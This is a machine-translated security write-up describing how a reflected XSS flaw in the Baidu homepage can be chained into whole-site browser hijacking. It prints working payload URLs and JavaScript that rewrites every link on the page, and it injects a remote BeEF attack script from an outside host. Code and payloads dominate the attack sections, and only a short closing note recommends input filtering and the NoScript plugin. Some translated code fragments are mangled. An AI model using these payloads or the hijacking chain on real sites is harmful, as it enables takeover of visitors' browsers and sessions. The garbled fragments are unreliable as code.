Browser hijacking caused by Cross-Site Scripting

| = -------------------------------- = |
| = ------ = [Browser hijacking caused by cross-site scripting] = ------ = |
| = -------------------------------- = |
| = ------------- = [By rayh4c] = ------------ = |
| = ----------- = [Rayh4c@80sec.com] = ---------- = |
| = -------------------------------- = |

Source: http://www.80sec.com/release/browser-hijacking.txt

0 × 00 nagging

I have seen many people studying Cross-Site Scripting on the Internet. It seems that cross-site scripting has become a hot topic in Web security. However, many people do not understand the extent to which this vulnerability may cause harm, A classmate once reported a parameter type URL link XSS to a program, which was despised by the vendor and said that the vulnerability was useful. He could only show it to himself in a box and finally smiled.

0 × 01 off-subject Science

There are two types of XSS vulnerabilities:

The first type is stored XSS, which is mainly used for users to input data for other users who browse this page to view the data, including comments, comments, blog logs, and various forms. The application queries data from the database and displays the data on the page. Attackers input malicious script data on the relevant page, and users may be attacked when Browsing such pages. Another type is the parameter XSS, which adds the script to the program parameters of the URL address. After the parameter enters the program, the script content is directly output on the page, users may be attacked by clicking a similar malicious link. Traditional XSS attacks aim to steal client cookies, hijack sessions between the client and the WEB server, and other attacks that use XSS for phishing, in recent years, the popular xss worm attack method is to use AJAX technology to infect malicious XSS data to every user, which can have a great impact on WEB Services, indirectly attacks the WEB server.

0 × 02 a typical parameter-Type Cross-Site Scripting Vulnerability

I used an XSS demonstration on the Baidu homepage (Baidu reported a vulnerability before, but Baidu did not respond ), this vulnerability is caused by lax filtering of tn and bar parameters on the Baidu homepage:


http://www.baidu.com/index.php?tn="/**/style=xss:expression(alert(xss));
http://www.baidu.com/index.php?bar="/**/style=xss:expression(alert(xss));


The two parameters tn and bar correspond to two input form values in the output of the page. You can use "(double quotation marks)" to close the form value and add the CSS attribute to the Cross-site. The specific output of the page is as follows:


<input type=hidden name=tn value=""/**/style=xss:expression(alert(xss));">


This vulnerability can only be used in IE. FIREFOX will convert "(double quotation marks) in URL link parameters into encoding % 22, and the output of page parameters will also change to % 22, "(double quotation marks) cannot be closed across sites. Expression () is an disobedient role. here we can use a small trick to remove the annoying endless loop of expression. Run the # annotator code of the current URL:


eval(unescape(location.hash.substr(1)))


Define a value for the method of the window object and run the code once:


(window.r!=1)?eval(window.r=1;eval(unescape(location.hash.substr(1)))):1


Finally, get the perfect attack link:


http://www.baidu.com/index.php?bar="/**/style=xss:expression((window.r!=1)?eval(window.r=1;eval(unescape(location.hash.substr(1)))):1);#alert%28%29


0 × 03 new attack methods

From the beginning of the attack, the cross-site scripting vulnerability has certain limitations. The cross-site scripting vulnerability is a passive attack for both the client and the WEB server, we can only add malicious javascript to pages with vulnerabilities on the other site. Users can trigger the vulnerability only when they access a specific page. When they leave this page, the attack will become invalid. We all know that the xmlhttp component in AJAX technology cannot send requests across domains. To a certain extent, the security features of browsers indirectly affect the use of WEB vulnerabilities, in this document on cross-origin security of browsers, I have explained some security features of cross-origin browsers. In this document, I found that windows opened by window objects are in the same domain, you can inject scripts to this window. With this security feature of the browser, We can modify any page in the same domain based on the Cross-Site Scripting Vulnerability. For example, we can use Baidu's XSS to modify a page in www.baidu.com:

Code content:


X = window. open (http://www.baidu.com/duty );
SetTimeout (function (){
X. location = "javascript: document. write (this tour of eggplant BaO )"
}, 10)


The final attack link is as follows:


http://www.baidu.com/index.php?bar="/**/style=xss:expression((window.r!=1)?eval(window.r=1;eval(unescape(location.hash.substr(1)))):1);#x%3Dwindow.open%28%27http%3A//www.baidu.com/duty/%27%29%3B%0D%0AsetTimeout%28function%28%29%7B%0D%0Ax.location%3D%22javascript%3Adocument.write%28%27%u8304%u5B50%u5B9D%u5230%u6B64%u4E00%u6E38%27%29%22%0D%0A%7D%2C10%29


After entering this link, allow the browser pop-up window, will pop up the http://www.baidu.com/duty page, the whole page will be changed to "Eggplant Bao to this tour ":)

0 × 04 cross-page browser hijacking using XSS Vulnerability

Now I will use all the conditions to implement a simulated attack. The first is the core code, which injects a JS into the opened window:


function win(){
x=window.open(http://www.baidu.com);
setTimeout(function(){
x.location="javascript:var s=document.createElement(script);s.setAttribute(src,http://beef.js);document.getElementsByTagName(head)[0].appendChild(s);void(0)”
},3000)
}


Then, hijack the code, review all the links on the current page, and bind the link to the core code:


window.onload=function(){
for (i=0;i document.links[i].href="javascript:win()"
}
}


Rewrite a page with Baidu XSS to add the hijacking code and put the attack link into a framework page:


<frameset cols=”100%”>
<frame name=”xss” src=’http://www.baidu.com/index.php?bar=”/**/style=xss:expression((window.r!=1)?eval(”window.r=1;eval(unescape(location.hash.substr(1)))”):1);#info%20%3D%22%3Chtml%3E%22+%22%5Cn%22+%0D%0A%22%3Cbody%3E%22+%22%5Cn%22+%0D%0A%22%3Ca%20href%3D%5C%22http%3A//www.baidu.com%5C%22%3E%u70B9%u51FB%u8FDB%u5165%u767E%u5EA6%u4E3B%u9875%3C/a%3E%22+%22%5Cn%22+%0D%0A%22%22+%22%5Cn%22+%0D%0A%22%3Cscript%3E%22+%22%5Cn%22+%0D%0A%22%22+%22%5Cn%22+%0D%0A%22function%20win%28%29%7B%22+%22%5Cn%22+%0D%0A%22x%3Dwindow.open%28%5C%27http%3A//www.baidu.com%5C%27%29%3B%22+%22%5Cn%22+%0D%0A%22setTimeout%28function%28%29%7B%22+%22%5Cn%22+%0D%0A%22x.location%3D%5C%22javascript%3Avar%20s%3Ddocument.createElement%28%5C%27script%5C%27%29%3Bs.setAttribute%28%5C%27src%5C%27%2C%5C%27http%3A//xss.betaslife.com/beef.js%5C%27%29%3Bdocument.getElementsByTagName%28%5C%27head%5C%27%29%5B0%5D.appendChild%28s%29%3Bvoid%280%29%5C%22%22+%22%5Cn%22+%0D%0A%22%7D%2C2000%29%22+%22%5Cn%22+%0D%0A%22%7D%22+%22%5Cn%22+%0D%0A%22%22+%22%5Cn%22+%0D%0A%22%22+%22%5Cn%22+%0D%0A%22for%20%28i%3D0%3Bi%3Cdocument.links.length%3Bi++%29%20%7B%20%22+%22%5Cn%22+%0D%0A%22document.links%5Bi%5D.href%3D%5C%22javascript%3Awin%28%29%5C%22%22+%22%5Cn%22+%0D%0A%22%7D%22+%22%5Cn%22+%0D%0A%22%22+%22%5Cn%22+%0D%0A%22%3C/script%3E%22+%22%5Cn%22+%0D%0A%22%22+%22%5Cn%22+%0D%0A%22%3C/body%3E%22+%22%5Cn%22+%0D%0A%22%3C/html%3E%22%0D%0Adocument.write%28info%29′ scrolling=”auto”>
</frameset>
<noframes>
<body>
</noframes>


The final result is that the links opened on this page and the Web Pages browsed are all injected with scripts. Using the parameter-type cross-site scripting vulnerability, we successfully constructed a cross-page browser hijacking, in the simulated attack, I injected a BEEF (a very famous cross-site scripting attack platform) script into the page for penetration attacks. For details, refer to the video I prepared here:

Http://www.80sec.com/release/baidu-xss.html

Here I just completed a very simple EXP, the actual attack in our injection script should be to rewrite the page into a cross-framework scripting attack page (http://ortdx.blog.163.com/blog/static/213610812006912114755107 ), then, the AJAX technology is used to hijack all links and forms on the page. scripts can be automatically injected into the newly browsed pages and newly opened windows, in this way, you can control almost all pages that come out of the Cross-Site Scripting Vulnerability page.

0 × 05 Summary

In the past, we thought that the XSS vulnerability could only affect specific pages. After my analysis, we should understand that the impact of the XSS vulnerability should be within the whole site. In the future, the WEB x.0 website will start to use AJAX technology in a large amount, and browsing pages will almost never be refreshed. Therefore, using the XSS vulnerability to hijack browsers will be fatal. In addition, we can see that XSS is not a traditional hijacking session attack, but a hijacking of the user's entire browser. It is recommended that all major websites and program developers carefully treat every detail that may cause security issues, check the input and output of programs, and avoid XSS vulnerabilities as much as possible. Users can consider using the noscript plug-in the Firefox browser to prevent XSS attacks from the client.
Finally, I would like to thank my friends in the HI group for providing me with the information and welcome to 80 sec for technical exchanges.

The content on this site is original. For reprinted content, be sure to keep your signatures and links!